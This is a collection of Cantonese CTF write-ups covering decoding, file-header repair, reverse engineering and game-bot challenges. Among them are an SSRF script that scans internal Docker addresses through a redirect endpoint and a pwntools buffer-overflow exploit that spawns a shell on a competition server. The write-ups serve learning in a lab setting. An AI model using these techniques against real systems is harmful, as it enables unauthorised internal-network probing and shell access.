NeverLanCTF2018-Turtles-All-The-Way-Down

Question

Binary

turtle

Solution

就咁睇似係base64 encoded

所以第一步就解左佢先啦

1
2
3
4
5
import base64a
enc = open("C:/Users/Admin/Desktop/turtle","rb").read()
with open("C:/Users/Admin/Desktop/turtle.dec","wb") as f:
f.write(base64.b64decode(enc))
f.close()

解完出黎係堆咁既野

但係我要既野正係中間果堆hex, 咁用sublime text處理下先啦
第一步 , 唔要頭果堆hex address

然後唔要埋尾果堆

最後就係replace晒d空格同埋換行就可以直接變番做binary
效果:

睇番個header應該係gzip黎 , 試下直接unzip佢先
可能因為係windows機啦 , unzip完出黎有個paxHeader係到 , 直接del到 0x400應該就開到

用file名開頭 , 應該係tar黎啦 , 直接unzip完終於出到個疑似係binary既野

但係似乎個header變晒做0x00 , 試下人手加番落去 , 然後終於decompile到

試下直接decode呢堆疑似hex既野啦

1
2
3
4
5
6
7
import base64
enc = ['584867774d5678344e6a42636544686d','5848686c4d6c78344d545a6365475a6d','584867795a6c78345a54466365444977','584867794d6c78344e7a6c6365445132','584867775a5678344d7a466365444178','584867794d4678344d44526365444933','584867774d5678345a475a6365444930','58486778596c78344d6a42636544466a','584867774d5678344d6a646365444178','5848686b5a6c78344e6a5a6365445a6a','584867324d5678344e6a646365446469','58486732593178344e7a566365445930','584867794d5678344e7a4a6365445a6d','584867324d3178344e6d4a636544637a','584867315a6c78344e6a466365445a6a','58486732593178344e575a6365446330','584867324f4678344e6a56636544566d','584867334e3178344e6a466365446335','584867315a6c78344e7a566365446377','584867794d5678344e32526365444268']
out = ""
for i in enc:
out += base64.b64decode(i.decode('hex')).replace("\\x","").decode('hex')

print out

Flag

1
flag{lud!rocks_all_the_way_up!}

PragyanCTF2018-Scientists-research

Question

Excel

observations.xlsx

Solution

就咁睇全部格都係裝住一個6位既數字 , 估計可能係color code黎 , 所以直接寫條script轉番每一格做顏色

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from xlrd import open_workbook
from PIL import Image

wb = open_workbook('observations.xlsx')
for sheet in wb.sheets():
number_of_rows = sheet.nrows
number_of_columns = sheet.ncols
flagImage = Image.new('RGB', (number_of_columns,number_of_rows))
for row in range(1, number_of_rows):
for col in range(number_of_columns):
value = str(hex(int(str(sheet.cell(row,col).value)[:-2]))[2:]).zfill(6)
rgb = tuple(int(value[i:i+2], 16) for i in (0, 2 ,4))
flagImage.putpixel((row,col),rgb)
flagImage.save("flag.png")

Flag

Bamboofox2017-suck-file

Question

Binary

a79cc81251ba4c66ed91ccd01b423598818a76cf

睇番個file header 似乎係一個zip file
但係似乎pk變左細階 , 所以導致unzip唔到

將個header改番做正常zip file之後 , 可以正常解壓縮

但係入面又有另一個file , 個header又係錯既
咁既情況之下唯有寫條script自動搞啦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import zipfile
import os
startFile = "a79cc81251ba4c66ed91ccd01b423598818a76cf"

def fixHeader(fileName):
with open(fileName,"r+b") as f:
data = f.read()
f.seek(0)
f.write("\x50\x4b" + data[2:])
f.truncate()


def sorted_dir(folder):
def getmtime(name):
path = os.path.join(folder, name)
return os.path.getmtime(path)
return sorted(os.listdir(folder), key=getmtime, reverse=True)


while True:
l = sorted_dir("./")
print l
fixHeader(l[0])
zip_ref = zipfile.ZipFile(l[0], 'r')
zip_ref.extractall("./")
zip_ref.close()

解左100次之後 , 終於有個flag file出左黎

Flag

BAMBOOFOX{Fil3_hE4d3r_15_imp0rtaNt}

BamboofoxCTF2017-tiny-docker-SSRF

Question

http://bamboofox.cs.nctu.edu.tw:53323/

Solution

Hint1

1
2
3
4
5
There is a lot of server/docker in a company.

So you may need a little brute-force.

You will get the flag between 1 to 500

Hint2

1
Mostly, container share a bridge...

呢2個hint想表達既似乎係有另一部裝住flag 既docker server係同題目係同一個subnet.
而係需要少少brute force既 , 咁應該係ip啦
如果係internal network既 , 咁應該係由172.17開頭
即刻寫條script brute brute佢先

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

output = ""
for i in range(1,501):
try:
r = requests.post("http://bamboofox.cs.nctu.edu.tw:53323/redirect.php",data={'url':'172.17.0.' + str(i)},timeout=0.5)
if "Warning" not in r.text:
print "[+] !!!! " + '172.17.0.' + str(i)
output += "==============172.17.0." + str(i) + "====================="
output += r.text
output += "============================================================\r\n"
else:
print "[-] Fail : " + '172.17.0.' + str(i)
except:
print "[-]"

with open("C:/Users/admin/Desktop/out.log", "wb") as f:
f.write(output.encode('ascii', 'ignore').decode('ascii'))
f.close()

最後係 172.17.0.80 搵到條flag

out.log

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
==============172.17.0.79=====================<!DOCTYPE html>
<html>
<head>
<title>Docker-SSRF</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<div class="center">
<form action="./redirect.php" method="post">
<h2>
Redirect to: <input type="text" name="url">
<input type="submit">
</h2>
</form>
<img src="https://res.cloudinary.com/blog-mornati-net/image/upload/v1472668207/sz9sfwiji9foh0cv1v5p.png" style="width: 60%;">
</div>
</body>
</html>
============================================================
==============172.17.0.80=====================<!DOCTYPE html>
<html>
<head>
<title>Flag</title>
<style>
.bk {
background-color: aliceblue;
}
.block {
margin: auto;
width: 50%;
padding: 20px;
text-align: center;
margin-top: 10%;
border: solid 2px;
}
</style>
</head>
<body class="bk">
<div class="block">
<h2>BAMBOOFOX{5srF1n0ocK3r}</h2>
<h3><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SSRF%20injection">Server-Side Request Forgery!!</a></h3>
<img src="https://d3eaqdewfg2crq.cloudfront.net/wp-content/uploads/2013/08/image2-1024x425.png" style="width: 100%;">
</div>
</body>
</html>
============================================================

Flag

BAMBOOFOX{5srF1n0ocK3r}

Bamboofox2017-net-packet

Question

log-packet

Solution

睇番個file header , 原來係pcap file , 所以可以直接用wireshark開

第一時間當然search下有冇flag先啦 , 點知又真係有!

睇番個Source係由 192.168.2.2 send 去 192.168.2.4
咁就當然sort by Source睇下仲有冇其他野啦~
最後搵到 3 個係由 192.168.2.2 send 去 192.168.2.4既packet

Flag

BAMBOOFOX{NetL0g}

Bamboofox2017-little-asm-revenge

Question

little-asm-revenge

Solution

扔入ida睇下個main咩料先

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 result; // rax@9
__int64 v4; // rsi@13
unsigned int i; // [sp+0h] [bp-E0h]@1
int j; // [sp+4h] [bp-DCh]@4
int k; // [sp+8h] [bp-D8h]@7
int v8; // [sp+Ch] [bp-D4h]@1
int v9[40]; // [sp+10h] [bp-D0h]@4
char s[8]; // [sp+B0h] [bp-30h]@1
__int64 v11; // [sp+B8h] [bp-28h]@1
__int64 v12; // [sp+C0h] [bp-20h]@1
__int64 v13; // [sp+C8h] [bp-18h]@1
__int64 v14; // [sp+D0h] [bp-10h]@1
__int64 v15; // [sp+D8h] [bp-8h]@1

v15 = *MK_FP(__FS__, 40LL);
puts("Input magic string:");
*(_QWORD *)s = 0LL;
v11 = 0LL;
v12 = 0LL;
v13 = 0LL;
v14 = 0LL;
_isoc99_scanf("%38s", s);
v8 = strlen(s);
for ( i = 0; (signed int)i < v8; ++i )
s[i] ^= sub_7F4(i);
memset(v9, 0, sizeof(v9));
for ( j = 0; j < v8; ++j )
v9[j] = sub_7B0((unsigned int)s[j]);
for ( k = 0; k < v8; ++k )
{
if ( v9[k] != dword_201040[k] )
{
puts("Are you sure you read asm?");
result = 0LL;
goto LABEL_13;
}
}
puts("Wooow you got it!");
result = 0LL;
LABEL_13:
v4 = *MK_FP(__FS__, 40LL) ^ v15;
return result;
}

首先個program會讀38位Input

1
_isoc99_scanf("%38s", s);

然後會用 sub_7F4 呢個function提供既return value做xor

1
2
for ( i = 0; (signed int)i < v8; ++i )
s[i] ^= sub_7F4(i);

然後會將xor完既結果逐個入落去sub_7B0做運算 , 然後將return value逐個扔番入v9

1
2
for ( j = 0; j < v8; ++j )
v9[j] = sub_7B0((unsigned int)s[j]);

最後會將v9 同 dword_201040逐個byte做對比

1
2
3
4
5
6
7
8
9
for ( k = 0; k < v8; ++k )
{
if ( v9[k] != dword_201040[k] )
{
puts("Are you sure you read asm?");
result = 0LL;
goto LABEL_13;
}
}

咁既話即係首先我地要知道 dword_201040 放緊D乜

同埋sub_7F4 , sub_7B0 做緊乜

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 __fastcall sub_7F4(int a1)
{
int v2; // [sp+Ch] [bp-8h]@1
signed int i; // [sp+10h] [bp-4h]@1

v2 = a1;
for ( i = 0; i <= 6; ++i )
{
if ( i & 1 )
v2 ^= 1 << i;
else
v2 |= 1 << i;
}
return (unsigned __int8)v2;
}

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall sub_7B0(int a1)
{
int v2; // [sp+Ch] [bp-8h]@1
int i; // [sp+10h] [bp-4h]@1

v2 = 1;
for ( i = 0; i < dword_201024; ++i )
v2 = a1 * v2 % dword_201020;
return (unsigned int)v2;
}

原來仲有個 dword_201024

1
.data:0000000000201024 dword_201024    dd 7                    ; DATA XREF: sub_7B0:loc_7E4r

咁就應該齊料寫個program去爆番條flag出黎

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include "stdafx.h"

int sub_7F4(int a1);
int sub_7B0(int a1);

int ida_chars2[] =
{
0x19c, 0x169, 0x30, 0x1d6, 0x30, 0x30, 0x199,0x6a, 0x157, 0x0c2,
0x10a, 0x155, 0x150, 0x107, 0x37, 0x12e, 0x22, 0x0f1, 0x1ae,
0x151, 0x0f1, 0x1a, 0x1a5, 0x1ae, 0x0c9, 0x12c, 0x1, 0x166,
0x12c, 0x0cb, 0x30, 0x107, 0x166, 0x1b4, 0x1ae, 0x14c, 0x46, 0x00, 0x00, 0x00
};

int main()
{
int size = 40;
int index = 0;
while (1) {
for (int i = 0x30; i < 0x126; i++) {
int flag = i;
flag ^= sub_7F4(index);
if (sub_7B0(flag) == ida_chars2[index]) {
printf("%c", i);
index++;
}
if (index == 38)
break;
}
}
getchar();
return 0;
}

int sub_7B0(int a1) {
int v2 = 1;
for (int i = 0; i < 7; ++i) {
v2 = a1 * v2 % 0x1e1;
}
return v2;
}

int sub_7F4(int a1) {
int v2;
v2 = a1;

for (int i = 0; i <= 6; ++i) {
if (i & 1)
v2 ^= 1 << i;
else
v2 |= 1 << i;
}
return v2;
}

Flag

BAMBOOFOX{Th4t_1S_s0_eAsY_tO_rEverS3}

Bamboofox2017-little-asm

Question

Binary

little-asm-221bc5c8651806d8a039d5ff2a68bc5c7d9e3a20

Solution

第一步都係扔入ida decompile個main睇睇咩料先!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax@6
__int64 v4; // rsi@10
int i; // [sp+4h] [bp-3Ch]@1
int j; // [sp+8h] [bp-38h]@4
int v7; // [sp+Ch] [bp-34h]@1
char s[8]; // [sp+10h] [bp-30h]@1
__int64 v9; // [sp+18h] [bp-28h]@1
__int64 v10; // [sp+20h] [bp-20h]@1
__int64 v11; // [sp+28h] [bp-18h]@1
__int64 v12; // [sp+30h] [bp-10h]@1
__int64 v13; // [sp+38h] [bp-8h]@1

v13 = *MK_FP(__FS__, 40LL);
puts("Input magic string:");
*(_QWORD *)s = 0LL;
v9 = 0LL;
v10 = 0LL;
v11 = 0LL;
v12 = 0LL;
_isoc99_scanf("%36s", s);
v7 = strlen(s);
for ( i = 0; i < v7; ++i )
s[i] ^= 0xDCu;
for ( j = 0; j < v7; ++j )
{
if ( s[j] != ans[j] )
{
puts("Are you sure you read asm?");
result = 0;
goto LABEL_10;
}
}
puts("Wooow you got it!");
result = 0;
LABEL_10:
v4 = *MK_FP(__FS__, 40LL) ^ v13;
return result;
}

我地可以見到個program首先會讀36位既input

1
_isoc99_scanf("%36s", s);

然後做同0xDC做xor

1
2
for ( i = 0; i < v7; ++i )
s[i] ^= 0xDCu;

最後同 ans 逐個byte做對比

1
2
3
4
5
6
7
8
9
for ( j = 0; j < v7; ++j )
{
if ( s[j] != ans[j] )
{
puts("Are you sure you read asm?");
result = 0;
goto LABEL_10;
}
}

所以我地可以直接睇下ans save住d咩

然後export to hex 睇下咩黎

咁就可以寫條script解番條flag出黎 :D

1
hex(0x9e9d919e93939a9384a785eca983e88e9983bd839becec98839de991838eefbd98b9aea1 ^ 0xdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdc)[2:].rstrip("L").decode('hex')

Flag

BAMBOOFOX{Y0u_4RE_a_G00D_A5M_R3aDer}

Bamboofox2017-water-impossible

Question

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include"stdio.h"
#include"stdlib.h"


int main(){
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
int token = 1234;
char key[16];

printf("Welcome !! Challenger ~\n");
printf("Here is a simple challenge for you.\n");
printf("Try to find the key to pass :");

read(0, key, 40);

if((int)token == 6666){
printf("wow, That's impossible to touch this token ?!");
system("/bin/sh");
}

return 0;
}

Binary

water-impossible-7a06e581acf1525f968b503e2485383de7ff1aff

Solution

就咁睇個source應該係要令到token變做6666 , 但係user入既input就正係會影響到variable key.
所以應該係一個好經典既buffer overflow題目?

首先扔入ida睇下先 , decompile個main 我地可以睇到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [sp+0h] [bp-20h]@1
int v5; // [sp+1Ch] [bp-4h]@1

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
v5 = 1234;
puts("Welcome !! Challenger ~");
puts("Here is a simple challenge for you.");
printf("Try to find the key to pass :", 0LL);
read(0, &buf, 0x28uLL);
if ( v5 == 0x1A0A )
{
printf("wow, That's impossible to touch this token ?!", &buf);
system("/bin/sh");
}
return 0;
}

由呢到我地可以睇到我地既input係buf , 佢既位置係sp+0h
而我地要影響既值係 sp+1Ch , 所以我地首先要做既係試下入28個位既input , 睇下影唔影響到先!
咁既話即係我地要搵左佢個判斷位 , 然後break左佢先

Command

1
2
gdb water-impossible-7a06e581acf1525f968b503e2485383de7ff1aff
diass main

我地可以見到, 呢到係判斷緊rbp-0x4呢個value等唔等於0x1a0a
main+137

1
cmp DWORD PTR [rbp-0x4],0x1a0a

所以我地可以break黎睇下如果我地入28個位以上呢個值會有咩轉變

1
2
3
4
b *main+137
r
aaaaaaaaaaaaaaaaaaaaaaaaaaaabb
x/xs $rbp-0x4

咦! $rbp-0x4 呢到係放住左bb , 即係確定左28個位之後果d值係可以控制到$rbp-0x4 , 咁即係我地可以控制佢變做0x1a0a

1
2
3
4
5
from pwn import *
r = remote('bamboofox.cs.nctu.edu.tw',58799)
r.recvuntil("pass :")
r.sendline("a"*28 + p32(0x1a0a))
r.interactive()

Flag

1
BAMBOOFOX{Pwnnnnnnnning_1s_sImP13_and_Int3r3stIngggg}

Bamboofox2017-toddler-notakto-revenge

Solution

  1. 純粹要過三關嬴佢個AI 50次
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    from pwn import *

    r = remote("bamboofox.cs.nctu.edu.tw",58793)

    gameBoard = [[0,1,2],[3,4,5],[6,7,8]]

    def insertToGameboard(move):
    if move <= 2:
    gameBoard[0][move] = "X"
    elif move > 2 and move < 6:
    gameBoard[1][move-3] = "X"
    else:
    print move
    gameBoard[2][move-6] = "X"

    def countTotalX():
    total = 0
    for i in range(3):
    for j in range(3):
    if gameBoard[i][j] == 'X':
    total += 1
    return total

    def isWin(x,y):
    buf = gameBoard[x][y]
    gameBoard[x][y] = "X"
    if gameBoard[x][0] == "X" and gameBoard[x][1] == "X" and gameBoard[x][2] == "X":
    gameBoard[x][y] = buf
    return True
    if gameBoard[0][y] == "X" and gameBoard[1][y] == "X" and gameBoard[2][y] == "X":
    gameBoard[x][y] = buf
    return True
    if gameBoard[0][0] == "X" and gameBoard[1][1] == "X" and gameBoard[2][2] == "X":
    gameBoard[x][y] = buf
    return True
    if gameBoard[0][2] == "X" and gameBoard[1][1] == "X" and gameBoard[2][0] == "X":
    gameBoard[x][y] = buf
    return True
    if gameBoard[0][0] == "X" and gameBoard[0][1] == "X" and gameBoard[1][1] == "X":
    gameBoard[x][y] = buf
    return True
    if gameBoard[0][0] == "X" and gameBoard[1][0] == "X" and gameBoard[1][1] == "X" and countTotalX() == 3:
    gameBoard[x][y] = buf
    return True
    if gameBoard[0][1] == "X" and gameBoard[1][0] == "X" and gameBoard[1][1] == "X" and countTotalX() == 3:
    gameBoard[x][y] = buf
    return True
    if gameBoard[0][1] == "X" and gameBoard[0][2] == "X" and gameBoard[1][1] == "X" and countTotalX() == 3:
    gameBoard[x][y] = buf
    return True
    if gameBoard[0][1] == "X" and gameBoard[1][2] == "X" and gameBoard[1][1] == "X" and countTotalX() == 3:
    gameBoard[x][y] = buf
    return True
    if gameBoard[0][1] == "X" and gameBoard[1][2] == "X" and gameBoard[0][1] == "X" and countTotalX() == 3:
    gameBoard[x][y] = buf
    return True
    if gameBoard[0][0] == "X" and gameBoard[1][1] == "X" and gameBoard[1][2] == "X" and countTotalX() == 3:
    gameBoard[x][y] = buf
    return True
    if gameBoard[0][1] == "X" and gameBoard[1][1] == "X" and gameBoard[2][2] == "X" and countTotalX() == 3:
    gameBoard[x][y] = buf
    return True
    if gameBoard[0][2] == "X" and gameBoard[1][2] == "X" and gameBoard[1][1] == "X" and countTotalX() == 3:
    gameBoard[x][y] = buf
    return True
    gameBoard[x][y] = buf
    return False


    def findNextMove():
    for i in range(3):
    for j in range(3):
    if gameBoard[i][j] == "X":
    continue
    else:
    if not isWin(i,j):
    out = gameBoard[i][j]
    gameBoard[i][j] = "X"
    return out
    return "-1"

    isRestart = True
    while True:
    res = r.recv(1024)
    print res
    if "My move" in res:
    move = res[res.find("move: ")+6:res.find("move: ")+7]
    print "[+] AI Inserted " + move
    insertToGameboard(int(move))
    if "Your move" in res and "YOU WIN" not in res:
    if gameBoard == [[0,1,2],[3,4,5],[6,7,8]]:
    r.sendline("4")
    gameBoard[1][1] = "X"
    else:
    nextMove = findNextMove()
    print "[+] Player Inserted" + str(nextMove)
    print gameBoard
    r.sendline(str(nextMove))
    if "YOU WIN" in res:
    gameBoard = [[0,1,2],[3,4,5],[6,7,8]]
    gameBoard[1][1] = "X"
    r.sendline("4")

Flag

1
BAMBOOFOX{N0tkt0_IS_fUn_iS_It}